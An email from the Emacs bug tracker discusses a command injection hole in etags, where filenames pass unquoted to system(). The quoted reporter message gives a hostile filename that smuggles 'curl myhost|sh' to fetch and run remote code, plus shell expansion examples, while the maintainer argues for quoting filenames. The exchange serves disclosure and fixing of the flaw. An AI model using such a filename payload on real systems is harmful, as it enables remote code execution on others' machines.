bug#59817: [PATCH] Fix etags local command injection vulnerability

[Eli Zaretskii]

[Please use Reply All to keep the bug tracker CC'ed.]

> Date: Mon, 5 Dec 2022 08:56:43 +0800
> From: lux <lx@shellcodes.org>
> 
> > Please understand: etags is a stable program.  I'm not interested in
> > changes that modify its design or implementation in such drastic ways.
> 
> I understand, but not completely agree, stable != security.

There are ways to plug the security holes in this case without completely
rewriting large parts of the code.

> Why use the system() function? This is a lazy, insecure little trick,
> the exec*(such as execvp) function should be used first. We need
> execute a command, but we don't need execute a shell script.

I think you have a very idealized view of the alternative APIs.  They don't
share some disadvantages with 'system', but they have plenty of their own
ones.  Especially on non-Posix systems.

> Example a case, In my team, some people like automatically pull new
> code from code server, and use etags update tags, so I secretly uploaded
> a new file, the file name is:
> 
> $ touch "';curl myhost|sh #'a.z"
> 
> when he automatically update the tags, I hacking his computer.

Quoting should fix that.

> So, I have two suggestions:
> 
> 1. don't use system(), unless know what are doing.

I don't see a reason in this case to rewrite the code not to use 'system'.

> 2. escape all dangerous characters, just escaping quotes is not
> enough, the following characters can perform additional actions:
> 
> "$(ls)"
> "`ls`"
> "${SHELL}"
> "$SHELL"
> 
> I'm writing a new patch to escape dangerous characters, and test.

There's no reason to try detecting which characters are dangerous and which
aren't.  We should instead quote all the file names that come from outside
of the program, so that what's inside the quotes is interpreted verbatim.